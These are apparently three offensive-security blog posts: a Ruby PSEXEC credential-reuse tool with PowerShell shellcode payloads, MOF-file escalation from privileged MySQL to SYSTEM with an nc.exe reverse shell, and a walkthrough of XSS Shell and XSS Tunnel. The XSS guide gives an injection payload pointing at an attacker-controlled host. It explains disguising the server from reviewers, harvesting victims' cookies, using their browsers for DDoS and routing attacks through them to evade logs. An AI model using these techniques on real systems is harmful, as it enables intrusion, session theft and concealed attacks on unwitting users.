Yet Another SMB PSEXEC (Y.A.S.P) Tool

I was working on my own version of an updated standalone PSEXEC tool in ruby, leveraging the MSF standalone as a base along with some of the newer modules that have been released. Unfortunately SMBEXEC 2.0 was recently released which pretty much does the same thing functionality wise but has threading so its probably a bit cooler but thought I would still post mine out there for anyone who cares to take it for a spin. It is single target focused and a little different in the look and feel in comparison to some of the others available so who knows. It works for me, hope it works for someone else too....

I first started off trying to do things on my own by writing classes to wrap the smbclient tool which now supports the pass-the-hash option or can be fairly easily patched to address this. This Samba suite also includes the rpcclient tool which I originally planned to leverage to make some magic happen. Well I got the wrappers working, but was not able to get things fully working with just these two classes. I do recommend playing around with rpcclient as it is an interesting tool and can lead to a lot of insight against a remote target but that's another story. So after giving up on the rpcclient option i did some checking on the net and found some great references from Mubix and Chris Gates on the MSF standalone tool and some ways to play with it. As Chris and Rob point out the librex library is available outside of MSF as a standalone gem which gives you tons of power to do all kinds of neat things on your own. Being that the hard work was already done and available as reference in MSF i decided to borrow what i could from there and merge with my own wrappers and code to get what I wanted. The end result is an smbclient with all the psexec fun and then some.

It can do some basic recon without creds, which I am working on improving but its main focus is on re-using valid credentials. Once authenticated it's capable of running single commands using the PSEXEC technique or jumping into a pseudo shell to execute multiple commands.

Download registry hives for offline pillaging

Leverage MSFVENOM to generate shellcode and then run payloads using PowerShell (my favorite):

NOTE: You need to specify the hostname for Vista+ targets or connection will fail. You can use raw netbios requests or tool like nbtscan to find this pretty quickly and without any pain. On older targets you can omit this field for connection configuration.

The full list of available options once authenticated:

And here are a few demo videos I made to show off how you can use it....

Y.A.S.P. vs Standalone 2k3 Server:



Y.A.S.P. + PowerShell Payload vs Windows 7:
NOTE: It does leverage MSFVENOM currently to generate shellcode which gets converted over to PowerShell acceptable format and then executed via PowerShell command




Y.A.S.P. vs 2k3 Domain Controller + Active Directory Dumping 101:



You can find all the source code along with all the tools used or referenced in the above videos on my github page here: SOURCE + TOOLS

You can keep an eye on Github as I will be working on this one over time to smooth out a few things and add a few more things to it which I wasn't comfortable with rolling out just yet but again just sharing to share and inspire more coders to code cool shit. Until next time, Enjoy!

Battling Windows MySQL: From root to SYSTEM (Part I: MOF Exploitation)

In this two part series I am going to share two methods you can use to gain command execution against Windows MySQL instances when you have privileged MySQL user account. First here in part one, I will cover MOF exploitation technique and then in part 2 I will go over the UDF (User Defined Function) DLL Injection method. They both exploit the MySQL Service which on Windows typically runs as SYSTEM so this can be a very high payout for the exploit as SYSTEM level access means full compromise of the local box if successful. The MOF exploit is very stable and works against pre-Vista machines like XP and Server 2003 while UDF method has less restrictions.

What the heck is a .MOF File?
First and foremost this is a Windows specific file format so automatically rules out non-Windows based targets, sorry. Some nice quotes i pulled from the web "A MOF file contains MOF language statements, compiler directives and comments". "A MOF file can be encoded in either Unicode or UTF-8 format. MOF files are text files that contains definitions of classes and instances using the Managed Object Format (MOF) language." We can leverage their design to use JScript, ActiveXObject and WScript.Shell to run commands or whatever other cool wizardry you can come up with. The code in these files is fairly harmless until it is compiled by a binary tool which comes on windows boxes called 'mofcomp.exe'. The Managed Object Format (MOF) compiler (mofcomp.exe) parses the passed files and adds the classes and class instances defined in the file to the WMI repository which allows the magic to happen. If you want to read more on mofcomp.exe check here. If you want to write your own custom .MOF file to do even more whimsical magic sorcery?. Read up on the specs and requirements here.

Now in Pre-Vista Windows there is a magical home for .MOF files which need compiling by mofcomp.exe tool, and this is at 'c:\windows\system32\wbem\mof\'. Apparently on pre-Vista versions this directory is periodically scanned for new additions. Anything new it finds is passed along to mofcomp.exe and auto-compiled, no human interaction needed. This is our ticket to privilege escalation or our way in when it comes to exploiting MySQL for command execution with this technique. On Windows MySQL tends to run as a privileged user and there are no default restrictions to where this user can write as result - which means we can write files to this magic directory as MySQL user! If we can craft a .MOF template sneaky enough and write it there, it will auto-compile it running our code inside. I should note that after it is compiled by mofcomp.exe it is moved into the 'c:\windows\system32\wbem\mof\good\' directory, if anything fails during compiling it is moved to 'c:\windows\system32\wbem\mof\bad\'. It is worth mentioning that there is also a log file for all mofcomp.exe actions taken which can be found at 'c:\windows\system32\wbem\Logs\mofcomp.log'. This log contains a time-stamp and reference to files compiled along with any errors encountered.

FUN FACT: If you write files here and have them compiled, they will run repeatedly until deleted. Also due to this cyclical nature you can end up with commands occasionally running one more time even after removal of the actual .MOF payload file. For example if you run a onetime instance to create a new user account. It will keep being created if the admin doesn't find the MOF file and simply keeps trying to delete the account itself.....re-appearing accounts for red team pranks anyone?


Connecting the dots to get a shell:
Now that you know about this magical place, and you have read my previous tutorials on writing files with MySQL this wont be a giant leap for us. We first will need to come up with a way to upload a binary file from our local machine to the remote machine. In order to do this we read the file in binary mode, then convert to hex formatting to make injection easy. We will also make a point of using DUMPFILE so its writing as a single line and wont mess with our binary format. Once the file is written, it happens almost instantly but may take a minute or two to get scanned and run so be patient before completely walking away.

Ruby Code to Read Binary and Upload (passed a db connection object, the local file path, and the destination path on target):


Now when it comes to the .MOF template for code execution with this method i borrowed what I could find to suit my needs. I actually found a random PHP version of this exploit sitting on a server I was auditing! It was using a simple template to run commands one at a time through WScript.Shell.run() so I used that as a base for command execution as it compiles without issues in all my tests. I then took the beefier version from MSF found in the /msf/lib/msf/core/exploit/wbemexec.rb script and used for their version of this exploit. This .MOF template takes the location to binary.exe to run (it also has some built-in cleanup code to remove files after). We can use either template to our liking, we can use the simpler template to execute single command at a time or we can use the fancy template to run a binary (which we need to upload before hand). I came up with some code to leverage these features and techniques to achieve code execution, raw binary file uploading via SQL, reverse shell via uploading of nc.exe and then running single command to call home with cmd.exe attached. Below is a quick video demonstration to show you how things can work with the MOF exploit when you find yourself with privileged user access to MySQL on Windows box. You can also find the source code and download links below that.

VIDEO: YouTube

Download Full Exploiter Pack: DOWNLOAD
NOTE: Contains nc.exe & sbd.exe in /payloads)

UPDATE: You can now find this on my Github page here: https://github.com/Hood3dRob1n/SQLi

Pure Ruby Core Source Code: PASTEBIN






Food for thought: This method supposedly doesn't work on newer instances due to them not auto-compiling the .MOF files like we see done with XP and 2k3 systems. Not tested but curious what happens if we pre-compile with mofcomp.exe ourselves and then write to the updated /good/ location.....

Until next time, Enjoy!

XSS SHELL & XSS TUNNEL – TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Today I will show you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here goes...

Things you need:

XSS Shell & XSS Tunnel, both available here in single download:   http://labs.portcullis.co.uk/application/xssshell/

Path Disclosure Script, available here: http://www.megaupload.com/?d=MGMF89LG
           Download and cahnge name from path.txt to path.asp

Patience

Brain.dll file

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

Once this is done we also edit the xssshell.asp file to change the default password from “w00t” to something more secure (if you have troubles finding it in code just use CNTRL+F to find “w00t”), save it and rename the file to something less noticeable by staff reviewers, like kittens.asp. Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked. I hope you have enjoyed this write up and enjoy playing with your new Zombie army!

Until next time… 

H.R.